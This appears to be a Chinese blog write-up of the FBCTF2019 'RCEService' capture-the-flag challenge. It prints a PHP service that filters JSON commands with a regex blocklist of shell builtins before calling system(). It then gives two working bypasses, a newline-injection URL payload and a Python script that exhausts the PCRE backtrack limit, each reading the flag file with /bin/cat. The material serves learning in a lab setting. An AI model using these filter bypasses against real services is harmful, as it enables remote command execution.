• [FBCTF2019]RCEService


    [FBCTF2019]RCEService
    在这里插入图片描述
    源码:

    
     
    putenv('PATH=/home/rceservice/jail'); //设置环境变量
     
    if (isset($_REQUEST['cmd'])) {
        $json = $_REQUEST['cmd'];
     
        if (!is_string($json)) {
            echo 'Hacking attempt detected

    '
    ; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

    '
    ; } else { echo 'Attempting to run command:
    '
    ; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

    '
    ; } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    提示输入json命令,json格式为键值对模式,尝试输入{“cmd”:“ls”}
    在这里插入图片描述
    由于被过滤了很多,想找到没过滤的函数比较困难,考虑正则匹配preg_replace的3个常见问题:

    1 这个preg_replace函数可能会导致任意代码的执行**/e**

    2 正则表达式的数组绕过,在匹配的时候,遇到数组会直接返回FALSE。

    3 PCRE回溯次数(这个就是预期的考点

    参考:preg_match绕过总结
    在这里插入图片描述
    在这里插入图片描述

    解法一:利用换行符绕过
    由于加了修饰符s后.才会匹配换行符,所以此处利用%0a(换行符经过url编码后)进行绕过
    payload:?cmd={%0a"cmd":"ls /home/rceservice"%0a}
    在这里插入图片描述
    发现有flag文件,但是无法使用cat more less等命令读取,参考另一位大佬的:

    系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令,因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

    所以使用/bin/cat即可
    payload:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
    在这里插入图片描述

    解法二:回溯绕过
    原理详解,参考p神的,讲的很详细:PHP利用PCRE回溯次数限制绕过某些安全限制

    回溯过程: 我们题目中的正则[(`;?>].,假设匹配的输入是 phpinfo();//aaaaa,实际执行流程是这样的:
    image.png

    见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]。

    所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

    最终直到吐出;,输入变成第12步显示的],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

    PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限,以英文手册为准就是100万次的上限,只要回溯超过100万次preg_replace就会返回flase,从而然后它的检测

    所以编写python脚本:

    import requests
    
    url = "http://9642293b-6ae3-4e99-9949-888648b4bdf9.node4.buuoj.cn:81/"
    data = {
        'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}' #设置r1参数,值为100万个a
    }
    r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
    print(r)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述

  • 相关阅读:
    干货 | 读懂 Appium 日志,让测试效率翻倍!
    基于IMDB评论数据集的情感分析
    OpenGL 阴影
    使用sigprocmask函数阻塞SIGQUIT信号
    ESP8266-Arduino编程实例-MQ-135空气质量检测传感器驱动
    JS元编程
    华为数通方向HCIP-DataCom H12-831题库(多选题:101-120)
    HTC官方RUU固件提取刷机包rom.zip以及RUU解密教程
    一个Qt鼠标透传场景与事件过滤器的用法
    C#界面里的AccessibleName、AccessibleDescription和AccessibleRole属性
  • 原文地址:https://blog.csdn.net/pakho_C/article/details/126691082